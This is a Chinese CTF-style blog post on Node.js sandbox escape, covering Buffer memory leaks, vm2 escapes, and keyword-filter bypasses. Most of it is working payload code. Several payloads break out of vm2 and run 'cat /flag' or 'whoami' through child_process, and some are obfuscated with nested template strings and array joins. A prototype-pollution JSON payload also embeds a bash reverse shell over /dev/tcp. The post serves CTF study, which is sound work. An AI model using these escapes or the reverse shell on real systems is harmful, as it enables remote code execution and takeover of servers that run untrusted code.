首页 > 编程语言 >Nodejs沙盒逃逸

Nodejs沙盒逃逸

时间:2024-03-25 23:32:33浏览次数:25  
标签:return Nodejs process try Buffer 逃逸 toString catch 沙盒

Buffer

  • 在较早一点的node.js版本中 (8.0 之前),当 Buffer 的构造函数传入数字时, 会得到与数字长度一致的一个 Buffer,并且这个 Buffer 是未清零的。8.0 之后的版本可以通过另一个函数 Buffer.allocUnsafe(size) 来获得未清空的内存。
    注:关于 Buffer
  • JavaScript 语言自身只有字符串数据类型,没有二进制数据类型。
  • 但在处理像TCP流或文件流时,必须使用到二进制数据。因此在 Node.js中,定义了一个 Buffer 类,该类用来创建一个专门存放二进制数据的缓存区。
  • 只要是调用过的变量,一定会存在内存中,所以可以使用Buffer()来读取内存,获取之前调用过的变了数据,比如flag

例题

[[24-3.24-wp#[HITCON 2016]Leaking]]

vm

  • 参考文章

vm2

payload

payload1

(function(){
    TypeError.prototype.get_process = f=>f.constructor("return process")();
    try{
        Object.preventExtensions(Buffer.from("")).a = 1;
    }catch(e){
        return e.get_process(()=>{}).mainModule.require("child_process").execSync("cat /flag").toString();
    }
})()

payload2

(function(){
	try{
		Buffer.from(new Proxy({}, {
			getOwnPropertyDescriptor(){
				throw f=>f.constructor("return process")();
			}
		}));
	}catch(e){
		return e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
	}
})()

exp

exp1

"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
	TypeError.prototype.get_process = f=>f.constructor("return process")();
	try{
		Object.preventExtensions(Buffer.from("")).a = 1;
	}catch(e){
		return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
	}
}+')()';
try{
	console.log(new VM().run(untrusted));
}catch(x){
	console.log(x);
}

exp2

"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
	try{
		Buffer.from(new Proxy({}, {
			getOwnPropertyDescriptor(){
				throw f=>f.constructor("return process")();
			}
		}));
	}catch(e){
		return e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
	}
}+')()';
try{
	console.log(new VM().run(untrusted));
}catch(x){
	console.log(x);
}

绕过

来源:[HFCTF2020]JustEscape

NodeJS模板字符串

例如

console.log(`prototype`)            //prototype
console.log(`${`prototyp`}e`)       //prototype
console.log(`${`${`prototyp`}e`}`)  //prototype

通过这种嵌套的方式绕过字符串过滤:
payload1

(function (){
    TypeError[`${`${`prototyp`}e`}`][`${`${`get_pro`}cess`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return proc`}ess`}`)();
    try{
        Object.preventExtensions(Buffer.from(``)).a = 1;
    }catch(e){
        return e[`${`${`get_pro`}cess`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString();
    }
})()

join拼接字符串

payload2

(()=>{ TypeError[[`p`,`r`,`o`,`t`,`o`,`t`,`y`,`p`,`e`][`join`](``)][`a`] = f=>f[[`c`,`o`,`n`,`s`,`t`,`r`,`u`,`c`,`t`,`o`,`r`][`join`](``)]([`r`,`e`,`t`,`u`,`r`,`n`,` `,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))(); try{ Object[`preventExtensions`](Buffer[`from`](``))[`a`] = 1; }catch(e){ return e[`a`](()=>{})[`mainModule`][[`r`,`e`,`q`,`u`,`i`,`r`,`e`][`join`](``)]([`c`,`h`,`i`,`l`,`d`,`_`,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))[[`e`,`x`,`e`,`c`,`S`,`y`,`n`,`c`][`join`](``)](`cat /flag`)[`toString`](); } })()

数组

  • 当对象的方法或者属性名关键字被过滤的情况下可以利用数组调用的方式绕过关键字的限制

vm2 原型链污染导致沙箱逃逸

[HZNUCTF 2023 final]eznode
poc

let res = import('./app.js')
res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("whoami").toString();
{"shit":"shit",
 "__proto__":{
     "shellcode":"let res = import('./app.js'); res.toString.constructor(\"return this\") ().process.mainModule.require(\"child_process\").execSync('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"').toString();"
 }
} 

参考

https://blog.csdn.net/qq_61839115/article/details/132120985
https://xz.aliyun.com/t/11859#toc-0

标签:return,Nodejs,process,try,Buffer,逃逸,toString,catch,沙盒
From: https://blog.csdn.net/2202_75361164/article/details/137029421

相关文章

  • 继续nodejs
    昨天学习完了读写模块,今天继续学习Path路径模块1、路径拼接,path.join方法用法很简单,首先,使用路径模块要声明个常量,constpath=require(‘path’)然后直接使用就好了,constfpath=path.join(‘路径1’,‘路径2’,‘路径3’,‘路径4’,‘路径5’)输出的结果就是这几个路径连在一起......
  • nodejs学习
    什么是nodejs就是一个基于chormeV8引擎的JavaScript运行环境,是一个用于后端的运行环境nodejs中的运行环境分为两部分,分别是V8引擎和内置Api,前者用于解析js,后者用于被js调用终端的概念 虽然用的很多,但一讨论他的概念,我倒是有点说不上来:终端,是专门为开发人员设计的,用于实现人......
  • [nodejs] pm2 : nodejs 的进程管理工具
    0pm2概述0.1序0.2pm2简述PM2是一款非常优秀的Node进程管理工具,它有着丰富的特性:能够充分利用多核CPU且能够负载均衡、能够帮助应用在崩溃后、指定时间(clustermodel)和超出最大内存限制等情况下实现自动重启。PM2是开源的基于Nodejs的应用进程管理器,包括守护进......
  • [nodejs] nodejs版本管理工具:nvm
    0序言nodejs的版本管理、安装,是个麻烦事儿。例如在centos7上安装nodejs,就不是那么痛快。(基于docker的安装,除外)1nvm简述nvm是一个node的版本管理工具,可以简单操作node版本的切换、安装、查看等与npm不同的是:npm是依赖包的管理工具,nvm是nodejs的版本管理工具,通过它可以......
  • 2020-2-20-nodejs基础知识
    vs插件安装、快速运行、url模块使用、自动重启工具supervisor、自定义模块、下载第三方包、fs模块、Async、Await的使用、文件里、简易静态服务器、事件驱动EventEmitter、模拟登陆简单版、模拟express封装、操作mongodb数据库VScode插件安装需要安装NodeSnippets插件才会有提......
  • Nodejs常用命令及解释
    node-启动Node.js程序解释:使用该命令可以直接运行一个Node.js程序,从而执行其中的JavaScript代码。npm-Node.js包管理器命令解释:npm是Node.js的包管理器,可以用来安装、卸载和管理Node.js包。常用的命令有:npminit-初始化一个新的Node.js项目npminsta......
  • nodejs 实现 AMD 加载 依赖
    importfsfrom"fs";importpathfrom"path";importvmfrom"vm";exportclassLoadComponent{componentsPath:string=path.resolve("../first/components/");componentName:string="";componentIn......
  • 4.零基础Nodejs快速入门——Node.js 模块化
    Node.js模块化一、介绍1.1什么是模块化与模块?将一个复杂的程序文件依据一定规则(规范)拆分成多个文件的过程称之为模块化其中拆分出的每个文件就是一个模块,模块的内部数据是私有的,不过模块可以暴露内部数据以便其他模块使用1.2什么是模块化项目?......
  • 6.零基础Nodejs快速入门——包管理工具
    包管理工具一、概念介绍1.1包是什么『包』英文单词是package,代表了一组特定功能的源码集合1.2包管理工具管理『包』的应用软件,可以对「包」进行下载安装,更新,删除,上传等操作借助包管理工具,可以快速开发项目,提升开发效率包管理工......
  • 【NodeJS】GLIBC_2.28 not found CentOS7不兼容Node高版本 npm报错
    CentOS7环境下安装Nvm,在执行nvmuse18.17.0后执行node-v爆出如下错误 bash复制代码node:/lib64/libm.so.6:version`GLIBC_2.27'notfound(requiredbynode)node:/lib64/libc.so.6:version`GLIBC_2.25'notfound(requiredbynode)node:/lib64/libc.so......